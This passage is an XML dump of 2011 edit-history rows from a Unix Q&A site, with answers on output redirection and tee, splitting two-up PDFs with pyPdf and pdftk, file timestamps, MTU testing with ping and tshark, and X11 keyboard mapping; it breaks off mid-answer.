  <row Id="30698" PostHistoryTypeId="5" PostId="12517" RevisionGUID="7dd76410-39c4-467d-9da7-9c9305199ad8" CreationDate="2011-05-03T10:17:52.680" UserId="1925" Comment="added 123 characters in body" Text="[Caleb is right][1] about the use of &gt; but you can also use the `tee` command if you would like to see the logs at the same time as you save then to a file.&#xD;&#xA;&#xD;&#xA;    ls | tee my.file.txt&#xD;&#xA;&#xD;&#xA;And it should work with the 2&gt;&amp;1 as well.&#xD;&#xA;&#xD;&#xA;    ls 2&gt;&amp;1 | tee my.file.txt&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/12514/i-want-to-save-the-result-of-one-command-in-a-file/12516#12516" />
  <row Id="30699" PostHistoryTypeId="5" PostId="12483" RevisionGUID="29cb52d1-10f5-456c-a101-09b2a6795267" CreationDate="2011-05-03T10:19:29.363" UserId="885" Comment="pdfjam must be 2.0; added driver.tex for pdfpages" Text="Here's a small Python script using the [PyPdf library](http://pybrary.net/pyPdf/) that does the job neatly. Save it in a script called `un2up` (or whatever you like), make it executable (`chmod +x un2up`), and run it as a filter (`un2up &lt;2up.pdf &gt;1up.pdf`).&#xD;&#xA;&#xD;&#xA;    #!/usr/bin/env python&#xD;&#xA;    import copy, sys&#xD;&#xA;    from pyPdf import PdfFileWriter, PdfFileReader&#xD;&#xA;    input = PdfFileReader(sys.stdin)&#xD;&#xA;    output = PdfFileWriter()&#xD;&#xA;    for p in [input.getPage(i) for i in range(0,input.getNumPages())]:&#xD;&#xA;        q = copy.copy(p)&#xD;&#xA;        (w, h) = p.mediaBox.upperRight&#xD;&#xA;        p.mediaBox.upperRight = (w/2, h)&#xD;&#xA;        q.mediaBox.upperLeft = (w/2, h)&#xD;&#xA;        output.addPage(p)&#xD;&#xA;        output.addPage(q)&#xD;&#xA;    output.write(sys.stdout)&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;Just in case it's useful, here's my earlier answer which uses a combination of two tools plus some manual intervention:&#xD;&#xA;&#xD;&#xA;* [Pdfjam](http://www.warwick.ac.uk/go/pdfjam) (at least version 2.0), based on the [pdfpages](http://mirror.math.ku.edu/tex-archive/macros/latex/contrib/pdfpages/pdfpages.pdf) LaTeX package, to crop the pages;&#xD;&#xA;* [Pdftk](http://www.pdfhacks.com/pdftk/), to put the left and right halves back together.&#xD;&#xA;&#xD;&#xA;Both tools are needed because as far as I can tell pdfpages isn't able to apply two different transformations to the same page in one stream. In the call to `pdftk`, replace 42 by the numer of pages in the input document (`2up.pdf`).&#xD;&#xA;&#xD;&#xA;    pdfjam -o odd.pdf --trim '0cm 0cm 14.85cm 0cm' --scale 1.141 2up.pdf&#xD;&#xA;    pdfjam -o even.pdf --trim '14.85cm 0cm 0cm 0cm' --scale 1.141 2up.pdf&#xD;&#xA;    pdftk O=odd.pdf E=even.pdf cat $(i=1; while [ $i -le 42 ]; do echo O$i E$i; i=$(($i+1)); done) output all.pdf&#xD;&#xA;&#xD;&#xA;In case you don't have pdfjam 2.0, it's enough to have a PDFLaTeX installation with the pdfpages package (on Ubuntu: you need [texlive-latex-recommended](http://packages.ubuntu.com/texlive-latex-recommended) [![Install texlive-latex-recommended](http://bit.ly/software-small)](http://apt.ubuntu.com/p/texlive-latex-recommended) and perhaps (on Ubuntu: [texlive-fonts-recommended](http://packages.ubuntu.com/texlive-fonts-recommended) [![Install texlive-fonts-recommended](http://bit.ly/software-small)](http://apt.ubuntu.com/p/texlive-fonts-recommended)), and use the following driver file `driver.tex`:&#xD;&#xA;&#xD;&#xA;    \batchmode&#xD;&#xA;    \documentclass{minimal}&#xD;&#xA;    \usepackage{pdfpages}&#xD;&#xA;    \begin{document}&#xD;&#xA;    \includepdfmerge[trim=0cm 0cm 14.85cm 0cm,scale=1.141]{2up.pdf,-}&#xD;&#xA;    \includepdfmerge[trim=14.85cm 0cm 0cm 0cm,scale=1.141]{2up.pdf,-}&#xD;&#xA;    \end{document}&#xD;&#xA;&#xD;&#xA;Then run the following commands, replacing 42 by the number of pages in the input file (which must be called `2up.pdf`):&#xD;&#xA;&#xD;&#xA;    pdflatex driver&#xD;&#xA;    pdftk driver.pdf cat $(i=1; pages=42; while [ $i -le $pages ]; do echo $i $(($pages+$i)); i=$(($i+1)); done) output 1up.pdf&#xD;&#xA;" />
  <row Id="30700" PostHistoryTypeId="5" PostId="12516" RevisionGUID="2a80b108-4bad-41b6-99f7-97a4988a40bf" CreationDate="2011-05-03T10:20:01.790" UserId="1925" Comment="added 254 characters in body" Text="Drop the `2` from your command and just use `&gt;` as the redirect operator.&#xD;&#xA;&#xD;&#xA;By using `2&gt;` you are redirecting the error stream (STDERR) to a file; what it sounds like you want is the regular output stream (STDOUT).&#xD;&#xA;&#xD;&#xA;    cppcheck abc.cpp &gt; abc.txt&#xD;&#xA;&#xD;&#xA;If you want *both* streams to go to your file, you can connect 2 (the error stream) to 1 (the standard output stream) them like this:&#xD;&#xA;&#xD;&#xA;    cppcheck abc.cpp &gt; abc.txt 2&gt;&amp;1&#xD;&#xA;&#xD;&#xA;Or use the [shortcut syntax lain suggested][1] to just grab everything.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/12514/i-want-to-save-the-result-of-one-command-in-a-file/12515#12515" />
  <row Id="30701" PostHistoryTypeId="5" PostId="9879" RevisionGUID="09816150-25d0-44bc-8f43-3109d73dcb14" CreationDate="2011-05-03T10:53:45.900" UserId="1660" Comment="there was a typo (foo instead of bar)" Text="First thing that comes to mind is to `mv` the file(s) to a temporary, `cp` the temporary file to the old filename and delete the temporary.&#xD;&#xA;&#xD;&#xA;I just made a fast check:&#xD;&#xA;&#xD;&#xA;    touch foo&#xD;&#xA;    ls -l foo&#xD;&#xA;&#xD;&#xA;returns:&#xD;&#xA;&#xD;&#xA;    0 -rw-r--r-- 1 shunz shunz 0 2011-03-22 11:07 foo&#xD;&#xA;&#xD;&#xA;wait some minutes and then:&#xD;&#xA;&#xD;&#xA;    mv foo bar&#xD;&#xA;    ls -l bar&#xD;&#xA;&#xD;&#xA;    0 -rw-r--r-- 1 shunz shunz 0 2011-03-22 11:07 bar&#xD;&#xA;&#xD;&#xA;notice the creation time **isn't** modified, while:&#xD;&#xA; &#xD;&#xA;    cp bar foo&#xD;&#xA;    ls -l foo bar&#xD;&#xA;&#xD;&#xA;    0 -rw-r--r-- 1 shunz shunz 0 2011-03-22 11:07 bar&#xD;&#xA;    0 -rw-r--r-- 1 shunz shunz 0 2011-03-22 11:10 foo&#xD;&#xA;&#xD;&#xA;now foo is created at current time!&#xD;&#xA;&#xD;&#xA;**EDIT**&#xD;&#xA;&#xD;&#xA;sorry, forgot to mention, tried this on a FAT32 formatted USB stick under Ubuntu.&#xD;&#xA;&#xD;&#xA;    &#xD;&#xA;    " />
  <row Id="30702" PostHistoryTypeId="5" PostId="12517" RevisionGUID="d664dae9-0e03-4cbb-921e-0f25c50c581b" CreationDate="2011-05-03T11:26:39.520" UserId="2567" Comment="cppcheck abc.cpp" Text="[Caleb is right][1] about the use of &gt; but you can also use the `tee` command if you would like to see the logs at the same time as you save then to a file.&#xD;&#xA;&#xD;&#xA;    cppcheck abc.cpp | tee my.file.txt&#xD;&#xA;&#xD;&#xA;And it should work with the 2&gt;&amp;1 as well.&#xD;&#xA;&#xD;&#xA;    cppcheck abc.cpp 2&gt;&amp;1 | tee my.file.txt&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/12514/i-want-to-save-the-result-of-one-command-in-a-file/12516#12516" />
  <row Id="30703" PostHistoryTypeId="5" PostId="12463" RevisionGUID="63858c19-f5af-422b-8e3e-576f95746cf7" CreationDate="2011-05-03T11:33:37.410" UserId="6766" Comment="added 11098 characters in body; edited body" Text="Tim, I will respectfully urge you to ignore your doubt about changing MTU.  Your issue has MTU problem written all over it and I have been a professional network engineer for over 15 years.&#xD;&#xA;&#xD;&#xA;To prove whether MTU helps, conduct tests from your linux machine using ping with the `DF` bit set in the IP header... &#xD;&#xA;&#xD;&#xA;    ping -M do -s 1232 &lt;some pingable internet ip address&gt;&#xD;&#xA;&#xD;&#xA;I calculated the `-s` parameter assuming your PPPoE IP MTU is 1300 bytes.  If that ping succeeds, then use `-s 1432` and watch what happens... if the ping it now fails, you have conclusive proof that there is an MTU issue (assuming you have not set your Ethernet link MTU lower).&#xD;&#xA;&#xD;&#xA;Also remember that MTU must be set on *both* sides of the link... so you would need to do this on your modem as well.&#xD;&#xA;&#xD;&#xA;EDIT&#xD;&#xA;--&#xD;&#xA;Tim, you still *have not run the commands I asked you to*.  Let me give you an example of what is wrong with what you did (I need to modify the destination host to stackexchange.com, due to firewalling for IP fragmentation in my path to 8.8.8.8)&#xD;&#xA;&#xD;&#xA;Negative example (using your ping flags)&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;    [mpenning@Bucksnort ~]$ ping -c 1 -s 65507 64.34.119.12&#xD;&#xA;    PING 64.34.119.12 (64.34.119.12) 65507(65535) bytes of data.&#xD;&#xA;    65515 bytes from 64.34.119.12: icmp_seq=1 ttl=51 time=53.2 ms&#xD;&#xA;    &#xD;&#xA;    --- 64.34.119.12 ping statistics ---&#xD;&#xA;    1 packets transmitted, 1 received, 0% packet loss, time 0ms&#xD;&#xA;    rtt min/avg/max/mdev = 53.246/53.246/53.246/0.000 ms&#xD;&#xA;    [mpenning@Bucksnort ~]$&#xD;&#xA;&#xD;&#xA;Ask yourself, how did a 64KB ping get through a 1500-byte ethernet segment?  (End note A) Therefore, I can't help you unless you post the information I am asking for.  Same example, with `-M do`&#xD;&#xA;&#xD;&#xA;Positive example&#xD;&#xA;---&#xD;&#xA;    [mpenning@Bucksnort ~]$ ping -M do -c 1 -s 65507 64.34.119.12&#xD;&#xA;    PING 64.34.119.12 (64.34.119.12) 65507(65535) bytes of data.&#xD;&#xA;    From 24.102.60.3 icmp_seq=1 Frag needed and DF set (mtu = 1500)&#xD;&#xA;    &#xD;&#xA;    --- 64.34.119.12 ping statistics ---&#xD;&#xA;    0 packets transmitted, 0 received, +1 errors&#xD;&#xA;    &#xD;&#xA;    [mpenning@Bucksnort ~]$&#xD;&#xA;&#xD;&#xA;`ping -M do` gives me useful information about the maximum MTU along the path (in this case, we know the first-hop ethernet segment has an `IP MTU` of 1500-bytes).&#xD;&#xA;&#xD;&#xA;End Notes:&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;A. Your pings can completed as a series of IP fragments because by-default `ping` allows IP fragmentation.  If you are trying to find the maximum packet size that will pass through a link, you **must modify the IP header** (which I illustrated with `-M do`) to ensure you don't get a bunch of responses fragmented responses stitched together at the end.  Using `ping -c 1 -s 65507 64.34.119.12`:&#xD;&#xA;&#xD;&#xA;    [mpenning@Bucksnort ~]$ sudo tshark -n -i eth0 icmp&#xD;&#xA;      1   0.000000 24.102.60.3 -&gt; 64.34.119.12 IP Fragmented IP protocol (proto=ICMP 0x01, off=0)&#xD;&#xA;      2   0.000058 24.102.60.3 -&gt; 64.34.119.12 IP Fragmented IP protocol (proto=ICMP 0x01, off=1480)&#xD;&#xA;      3   0.000071 24.102.60.3 -&gt; 64.34.119.12 IP Fragmented IP protocol (proto=ICMP 0x01, off=2960)&#xD;&#xA;      4   0.000081 24.102.60.3 -&gt; 64.34.119.12 IP Fragmented IP protocol (proto=ICMP 0x01, off=4440)&#xD;&#xA;      5   0.000094 24.102.60.3 -&gt; 64.34.119.12 IP Fragmented IP protocol (proto=ICMP 0x01, off=5920)&#xD;&#xA;      6   0.000105 24.102.60.3 -&gt; 64.34.119.12 IP Fragmented IP protocol (proto=ICMP 0x01, off=7400)&#xD;&#xA;      7   0.000116 24.102.60.3 -&gt; 64.34.119.12 IP Fragmented IP protocol (proto=ICMP 0x01, off=8880)&#xD;&#xA;      8   0.000124 24.102.60.3 -&gt; 64.34.119.12 IP Fragmented IP protocol (proto=ICMP 0x01, off=10360)&#xD;&#xA;      9   0.000133 24.102.60.3 -&gt; 64.34.119.12 IP Fragmented IP protocol (proto=ICMP 0x01, off=11840)&#xD;&#xA;     10   0.000143 24.102.60.3 -&gt; 64.34.119.12 IP Fragmented IP protocol (proto=ICMP 0x01, off=13320)&#xD;&#xA;     11   0.000152 24.102.60.3 -&gt; 64.34.119.12 IP Fragmented IP protocol (proto=ICMP 0x01, off=14800)&#xD;&#xA;     12   0.000162 24.102.60.3 -&gt; 64.34.119.12 IP Fragmented IP protocol (proto=ICMP 0x01, off=16280)&#xD;&#xA;     13   0.000172 24.102.60.3 -&gt; 64.34.119.12 IP Fragmented IP protocol (proto=ICMP 0x01, off=17760)&#xD;&#xA;     14   0.000181 24.102.60.3 -&gt; 64.34.119.12 IP Fragmented IP protocol (proto=ICMP 0x01, off=19240)&#xD;&#xA;     15   0.000191 24.102.60.3 -&gt; 64.34.119.12 IP Fragmented IP protocol (proto=ICMP 0x01, off=20720)&#xD;&#xA;     16   0.000201 24.102.60.3 -&gt; 64.34.119.12 IP Fragmented IP protocol (proto=ICMP 0x01, off=22200)&#xD;&#xA;     17   0.000211 24.102.60.3 -&gt; 64.34.119.12 IP Fragmented IP protocol (proto=ICMP 0x01, off=23680)&#xD;&#xA;     18   0.000221 24.102.60.3 -&gt; 64.34.119.12 IP Fragmented IP protocol (proto=ICMP 0x01, off=25160)&#xD;&#xA;     19   0.000230 24.102.60.3 -&gt; 64.34.119.12 IP Fragmented IP protocol (proto=ICMP 0x01, off=26640)&#xD;&#xA;     20   0.000240 24.102.60.3 -&gt; 64.34.119.12 IP Fragmented IP protocol (proto=ICMP 0x01, off=28120)&#xD;&#xA;     21   0.000250 24.102.60.3 -&gt; 64.34.119.12 IP Fragmented IP protocol (proto=ICMP 0x01, off=29600)&#xD;&#xA;     22   0.000259 24.102.60.3 -&gt; 64.34.119.12 IP Fragmented IP protocol (proto=ICMP 0x01, off=31080)&#xD;&#xA;     23   0.000269 24.102.60.3 -&gt; 64.34.119.12 IP Fragmented IP protocol (proto=ICMP 0x01, off=32560)&#xD;&#xA;     24   0.000278 24.102.60.3 -&gt; 64.34.119.12 IP Fragmented IP protocol (proto=ICMP 0x01, off=34040)&#xD;&#xA;     25   0.000288 24.102.60.3 -&gt; 64.34.119.12 IP Fragmented IP protocol (proto=ICMP 0x01, off=35520)&#xD;&#xA;     26   0.000298 24.102.60.3 -&gt; 64.34.119.12 IP Fragmented IP protocol (proto=ICMP 0x01, off=37000)&#xD;&#xA;     27   0.000308 24.102.60.3 -&gt; 64.34.119.12 IP Fragmented IP protocol (proto=ICMP 0x01, off=38480)&#xD;&#xA;     28   0.000318 24.102.60.3 -&gt; 64.34.119.12 IP Fragmented IP protocol (proto=ICMP 0x01, off=39960)&#xD;&#xA;     29   0.000327 24.102.60.3 -&gt; 64.34.119.12 IP Fragmented IP protocol (proto=ICMP 0x01, off=41440)&#xD;&#xA;     30   0.000337 24.102.60.3 -&gt; 64.34.119.12 IP Fragmented IP protocol (proto=ICMP 0x01, off=42920)&#xD;&#xA;     31   0.000352 24.102.60.3 -&gt; 64.34.119.12 IP Fragmented IP protocol (proto=ICMP 0x01, off=44400)&#xD;&#xA;     32   0.000361 24.102.60.3 -&gt; 64.34.119.12 IP Fragmented IP protocol (proto=ICMP 0x01, off=45880)&#xD;&#xA;     33   0.000372 24.102.60.3 -&gt; 64.34.119.12 IP Fragmented IP protocol (proto=ICMP 0x01, off=47360)&#xD;&#xA;     34   0.000384 24.102.60.3 -&gt; 64.34.119.12 IP Fragmented IP protocol (proto=ICMP 0x01, off=48840)&#xD;&#xA;     35   0.000394 24.102.60.3 -&gt; 64.34.119.12 IP Fragmented IP protocol (proto=ICMP 0x01, off=50320)&#xD;&#xA;     36   0.000403 24.102.60.3 -&gt; 64.34.119.12 IP Fragmented IP protocol (proto=ICMP 0x01, off=51800)&#xD;&#xA;     37   0.000411 24.102.60.3 -&gt; 64.34.119.12 IP Fragmented IP protocol (proto=ICMP 0x01, off=53280)&#xD;&#xA;     38   0.000419 24.102.60.3 -&gt; 64.34.119.12 IP Fragmented IP protocol (proto=ICMP 0x01, off=54760)&#xD;&#xA;     39   0.000428 24.102.60.3 -&gt; 64.34.119.12 IP Fragmented IP protocol (proto=ICMP 0x01, off=56240)&#xD;&#xA;     40   0.000437 24.102.60.3 -&gt; 64.34.119.12 IP Fragmented IP protocol (proto=ICMP 0x01, off=57720)&#xD;&#xA;     41   0.000446 24.102.60.3 -&gt; 64.34.119.12 IP Fragmented IP protocol (proto=ICMP 0x01, off=59200)&#xD;&#xA;     42   0.000455 24.102.60.3 -&gt; 64.34.119.12 IP Fragmented IP protocol (proto=ICMP 0x01, off=60680)&#xD;&#xA;     43   0.000466 24.102.60.3 -&gt; 64.34.119.12 IP Fragmented IP protocol (proto=ICMP 0x01, off=62160)&#xD;&#xA;     44   0.000477 24.102.60.3 -&gt; 64.34.119.12 IP Fragmented IP protocol (proto=ICMP 0x01, off=63640)&#xD;&#xA;     45   0.000486 24.102.60.3 -&gt; 64.34.119.12 ICMP Echo (ping) request&#xD;&#xA;     46   0.044402 64.34.119.12 -&gt; 24.102.60.3 IP Fragmented IP protocol (proto=ICMP 0x01, off=0)&#xD;&#xA;     47   0.044439 64.34.119.12 -&gt; 24.102.60.3 IP Fragmented IP protocol (proto=ICMP 0x01, off=1480)&#xD;&#xA;     48   0.044899 64.34.119.12 -&gt; 24.102.60.3 IP Fragmented IP protocol (proto=ICMP 0x01, off=2960)&#xD;&#xA;     49   0.044910 64.34.119.12 -&gt; 24.102.60.3 IP Fragmented IP protocol (proto=ICMP 0x01, off=4440)&#xD;&#xA;     50   0.044916 64.34.119.12 -&gt; 24.102.60.3 IP Fragmented IP protocol (proto=ICMP 0x01, off=5920)&#xD;&#xA;     51   0.045149 64.34.119.12 -&gt; 24.102.60.3 IP Fragmented IP protocol (proto=ICMP 0x01, off=7400)&#xD;&#xA;     52   0.045399 64.34.119.12 -&gt; 24.102.60.3 IP Fragmented IP protocol (proto=ICMP 0x01, off=8880)&#xD;&#xA;     53   0.045409 64.34.119.12 -&gt; 24.102.60.3 IP Fragmented IP protocol (proto=ICMP 0x01, off=10360)&#xD;&#xA;     54   0.045415 64.34.119.12 -&gt; 24.102.60.3 IP Fragmented IP protocol (proto=ICMP 0x01, off=11840)&#xD;&#xA;     55   0.045649 64.34.119.12 -&gt; 24.102.60.3 IP Fragmented IP protocol (proto=ICMP 0x01, off=13320)&#xD;&#xA;     56   0.045899 64.34.119.12 -&gt; 24.102.60.3 IP Fragmented IP protocol (proto=ICMP 0x01, off=14800)&#xD;&#xA;     57   0.045908 64.34.119.12 -&gt; 24.102.60.3 IP Fragmented IP protocol (proto=ICMP 0x01, off=16280)&#xD;&#xA;     58   0.045915 64.34.119.12 -&gt; 24.102.60.3 IP Fragmented IP protocol (proto=ICMP 0x01, off=17760)&#xD;&#xA;     59   0.046148 64.34.119.12 -&gt; 24.102.60.3 IP Fragmented IP protocol (proto=ICMP 0x01, off=19240)&#xD;&#xA;     60   0.046163 64.34.119.12 -&gt; 24.102.60.3 IP Fragmented IP protocol (proto=ICMP 0x01, off=20720)&#xD;&#xA;     61   0.046402 64.34.119.12 -&gt; 24.102.60.3 IP Fragmented IP protocol (proto=ICMP 0x01, off=22200)&#xD;&#xA;     62   0.046421 64.34.119.12 -&gt; 24.102.60.3 IP Fragmented IP protocol (proto=ICMP 0x01, off=23680)&#xD;&#xA;     63   0.046650 64.34.119.12 -&gt; 24.102.60.3 IP Fragmented IP protocol (proto=ICMP 0x01, off=25160)&#xD;&#xA;     64   0.046668 64.34.119.12 -&gt; 24.102.60.3 IP Fragmented IP protocol (proto=ICMP 0x01, off=26640)&#xD;&#xA;     65   0.046901 64.34.119.12 -&gt; 24.102.60.3 IP Fragmented IP protocol (proto=ICMP 0x01, off=28120)&#xD;&#xA;     66   0.046918 64.34.119.12 -&gt; 24.102.60.3 IP Fragmented IP protocol (proto=ICMP 0x01, off=29600)&#xD;&#xA;     67   0.047151 64.34.119.12 -&gt; 24.102.60.3 IP Fragmented IP protocol (proto=ICMP 0x01, off=31080)&#xD;&#xA;     68   0.047171 64.34.119.12 -&gt; 24.102.60.3 IP Fragmented IP protocol (proto=ICMP 0x01, off=32560)&#xD;&#xA;     69   0.047399 64.34.119.12 -&gt; 24.102.60.3 IP Fragmented IP protocol (proto=ICMP 0x01, off=34040)&#xD;&#xA;     70   0.047418 64.34.119.12 -&gt; 24.102.60.3 IP Fragmented IP protocol (proto=ICMP 0x01, off=35520)&#xD;&#xA;     71   0.047424 64.34.119.12 -&gt; 24.102.60.3 IP Fragmented IP protocol (proto=ICMP 0x01, off=37000)&#xD;&#xA;     72   0.047650 64.34.119.12 -&gt; 24.102.60.3 IP Fragmented IP protocol (proto=ICMP 0x01, off=38480)&#xD;&#xA;     73   0.047900 64.34.119.12 -&gt; 24.102.60.3 IP Fragmented IP protocol (proto=ICMP 0x01, off=39960)&#xD;&#xA;     74   0.048149 64.34.119.12 -&gt; 24.102.60.3 IP Fragmented IP protocol (proto=ICMP 0x01, off=41440)&#xD;&#xA;     75   0.048165 64.34.119.12 -&gt; 24.102.60.3 IP Fragmented IP protocol (proto=ICMP 0x01, off=42920)&#xD;&#xA;     76   0.048172 64.34.119.12 -&gt; 24.102.60.3 IP Fragmented IP protocol (proto=ICMP 0x01, off=44400)&#xD;&#xA;     77   0.048178 64.34.119.12 -&gt; 24.102.60.3 IP Fragmented IP protocol (proto=ICMP 0x01, off=45880)&#xD;&#xA;     78   0.048398 64.34.119.12 -&gt; 24.102.60.3 IP Fragmented IP protocol (proto=ICMP 0x01, off=47360)&#xD;&#xA;     79   0.048650 64.34.119.12 -&gt; 24.102.60.3 IP Fragmented IP protocol (proto=ICMP 0x01, off=48840)&#xD;&#xA;     80   0.048667 64.34.119.12 -&gt; 24.102.60.3 IP Fragmented IP protocol (proto=ICMP 0x01, off=50320)&#xD;&#xA;     81   0.048674 64.34.119.12 -&gt; 24.102.60.3 IP Fragmented IP protocol (proto=ICMP 0x01, off=51800)&#xD;&#xA;     82   0.048900 64.34.119.12 -&gt; 24.102.60.3 IP Fragmented IP protocol (proto=ICMP 0x01, off=53280)&#xD;&#xA;     83   0.048922 64.34.119.12 -&gt; 24.102.60.3 IP Fragmented IP protocol (proto=ICMP 0x01, off=54760)&#xD;&#xA;     84   0.049150 64.34.119.12 -&gt; 24.102.60.3 IP Fragmented IP protocol (proto=ICMP 0x01, off=56240)&#xD;&#xA;     85   0.049174 64.34.119.12 -&gt; 24.102.60.3 IP Fragmented IP protocol (proto=ICMP 0x01, off=57720)&#xD;&#xA;     86   0.049398 64.34.119.12 -&gt; 24.102.60.3 IP Fragmented IP protocol (proto=ICMP 0x01, off=59200)&#xD;&#xA;     87   0.049649 64.34.119.12 -&gt; 24.102.60.3 IP Fragmented IP protocol (proto=ICMP 0x01, off=60680)&#xD;&#xA;     88   0.049671 64.34.119.12 -&gt; 24.102.60.3 IP Fragmented IP protocol (proto=ICMP 0x01, off=62160)&#xD;&#xA;     89   0.049677 64.34.119.12 -&gt; 24.102.60.3 IP Fragmented IP protocol (proto=ICMP 0x01, off=63640)&#xD;&#xA;     90   0.049683 64.34.119.12 -&gt; 24.102.60.3 ICMP Echo (ping) reply&#xD;&#xA;&#xD;&#xA;" />
  <row Id="30704" PostHistoryTypeId="2" PostId="12518" RevisionGUID="4b1ee661-20ad-4f75-8cbd-e1b9dabd636e" CreationDate="2011-05-03T11:39:49.870" UserId="6167" Text="There are two layers here, KEYCODE to KEYSYM mapping and KEYSYM to text mapping.  There are more layers if you count the kernel which has to map AT Keyboard scancodes to a XT-style KEYCODE or a USB Keyboard HID code to a KEYCODE.  A KEYCODE is simply an 8-bit unsigned integer which the kernel of an Operating System passes to the X11 server.  It can vary between Operating Systems such as Linux and Solaris.  On Linux, these KEYCODEs are typically the same number used on old XT PC Keyboards.  Newer computers with AT, PS/2, or USB keyboards typically just map those keyboards to the old XT code for the key to keep life simple.&#xD;&#xA;&#xD;&#xA;X11 is ignorant of this part of the process, it just gets the KEYCODE from the kernel and applies it's own mapping to convert that KEYCODE to a KEYSYM.  [Xmodmap][1] is the standard tool for controlling that mapping.  Much of the behavior of the keyboard mapping is configurable, but there are several special cases such as Num Lock, Mode Switch, and Caps Lock/Shift Lock that are hard coded into X11.  Other aspects like Shift are actually configurable.  Any key can be mapped to act as shift, unlike Mode Switch or Num Lock.&#xD;&#xA;&#xD;&#xA;KEYCODEs represent physical keys send by the Operating System's kernel.  Every KEYCODE can map to 8 possible KEYSYMs.  Only 4 are used and are sometimes called levels 1-4.  Level 1 specifies the KEYSYM that gets printed when no modifiers are active.   This are often lowercase letters and digits.  Modifiers are specifies KEYCODEs that modify the KEYSYM generated by other KEYCODEs when the modifier is active (pressed or toggled on.)  Modifier keycodes are also controlled through Xmodmap.  Level 2 specifies a KEYSYM to be sent when the shift modifier is pressed.  Level 3 is activated whenever the Mode Switch KEYSYM has been pressed.  Level 4 is activated when both a shift key and Mode Switch are active.&#xD;&#xA;&#xD;&#xA;Once a KEYSYM has been generated, this may be interpreted directly, but most often will be converted to text.  Not all KEYSYMs turn into text or may only affect a future KEYSYM.  One example is Shift_L, of course, which has no textual representation, but there are also a number of KEYSYMs that are used to Compose another character.  A list of them on my system is under `/usr/share/X11/locale/en_US.UTF-8/Compose`. One such example is the dead_acute KEYSYM which, when pressed, will attempt to convert the next KEYSYM into an acute accented letter.  There is a [standard mapping][2] for turning KEYSYMs into Unicode.&#xD;&#xA;&#xD;&#xA;Now that all this has been said, note that Xmodmap is obsolete and replaced by XKB which is much more sophisticated.  This affects how KEYCODEs are mapped to KEYSYMs, but not how the kernel generates KEYCODEs nor how KEYSYMs are converted into text or composed which is still the same.  XKB can be disabled restoring Xmodmap behavior.  It also has a compatibility layer to support Xmodmap, but it can have issues as it's not completely compatible.  XKB rules are under `/usr/share/X11/xkb/` and are much more sophisticated.  There is some good documentation elsewhere on how it generates keyboard layouts for mapping KEYCODEs to KEYSYMs.&#xD;&#xA;&#xD;&#xA;  [1]: http://tronche.com/gui/x/xlib/input/keyboard-encoding.html&#xD;&#xA;  [2]: http://www.cl.cam.ac.uk/~mgk25/ucs/keysym2ucs.c" />
  <row Id="30705" PostHistoryTypeId="5" PostId="12513" RevisionGUID="39dd07e1-736f-42c8-b1a7-0599207f9894" CreationDate="2011-05-03T11:41:09.787" UserId="1925" Comment="added 60 characters in body" Text="I would guess that you have `/home/sawa/foo/bar/` on your path - i.e. a path with a trailing slash.&#xD;&#xA;&#xD;&#xA;`which` is iterating over each element of `$PATH` and appending `/argv[1]` and checking for the existence of that file. That causes a double-slash - one from the `$PATH` part, and one from `/argv[1]`.&#xD;&#xA;&#xD;&#xA;A [double-slash is no problem][1]. It is collapsed to a single slash by the kernel. Only at the beginning of a path may a double-slash have special meaning, and not always then.&#xD;&#xA;&#xD;&#xA;As for `test` not working, ensure you are not using the shell built-in when calling `test`. You usually do this by using a full path, but with bash you can also use `enable -n test` to disable the built-in `test` command.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/q/11964/1925" />
  <row Id="30706" PostHistoryTypeId="5" PostId="12518" RevisionGUID="3aa4da2d-03ce-4375-aa9e-a363eda6d743" CreationDate="2011-05-03T11:51:37.973" UserId="6167" Comment="added linux mapping" Text="There are two layers here, KEYCODE to KEYSYM mapping and KEYSYM to text mapping.  There are more layers if you count the kernel which has to map AT Keyboard scancodes to a XT-style KEYCODE or a USB Keyboard HID code to a KEYCODE.  A KEYCODE is simply an 8-bit unsigned integer which the kernel of an Operating System passes to the X11 server.  It can vary between Operating Systems such as Linux and Solaris.  On Linux, these KEYCODEs are typically the same number used on old XT PC Keyboards.  Newer computers with AT, PS/2, or USB keyboards typically just map those keyboards to the old XT code for the key to keep life simple.&#xD;&#xA;&#xD;&#xA;Raw keyboard codes, whether they be XT, AT, PS/2, or USB represent a physical location on a keyboard.  The XT keyboard only sends a single 8-bit number on press or release of a key.  The q key on an US/British XT keyboard sends the number 16.  On a French keyboard that same physical key is labeled a, but it still sends 16.  It's the higher layers in the operating system that assign it a real meaning.  When a key is released on an XT keyboard, the same keycode is sent plus 128.  For this example, when q is pressed, a 16 is sent, but on release, the number 142 (16+128) is sent.  AT Keyboards use scancodes which are a series of numbers and can get quite long.  Key releases add additional codes.  For example, the scancode for Pause is E1, 1D, 45, E1, 9D, C5.  Most Operating Systems including DOS, Windows, Linux, FreeBSD, and the BIOS all map scancodes into much simpler XT-style scancodes.  It also keeps it easier to support newer keyboards which use different codes such as USB Keyboards which send HID codes.  All codes get mapped to the same consistent set of codes by the Operating System before X11 or the application sees them.&#xD;&#xA;&#xD;&#xA;X11 is ignorant of this part of the process, it just gets the KEYCODE from the kernel and applies it's own mapping to convert that KEYCODE to a KEYSYM.  [Xmodmap][1] is the standard tool for controlling that mapping.  Much of the behavior of the keyboard mapping is configurable, but there are several special cases such as Num Lock, Mode Switch, and Caps Lock/Shift Lock that are hard coded into X11.  Other aspects like Shift are actually configurable.  Any key can be mapped to act as shift, unlike Mode Switch or Num Lock.&#xD;&#xA;&#xD;&#xA;KEYCODEs represent physical keys send by the Operating System's kernel.  Every KEYCODE can map to 8 possible KEYSYMs.  Only 4 are used and are sometimes called levels 1-4.  Level 1 specifies the KEYSYM that gets printed when no modifiers are active.   This are often lowercase letters and digits.  Modifiers are specifies KEYCODEs that modify the KEYSYM generated by other KEYCODEs when the modifier is active (pressed or toggled on.)  Modifier keycodes are also controlled through Xmodmap.  Level 2 specifies a KEYSYM to be sent when the shift modifier is pressed.  Level 3 is activated whenever the Mode Switch KEYSYM has been pressed.  Level 4 is activated when both a shift key and Mode Switch are 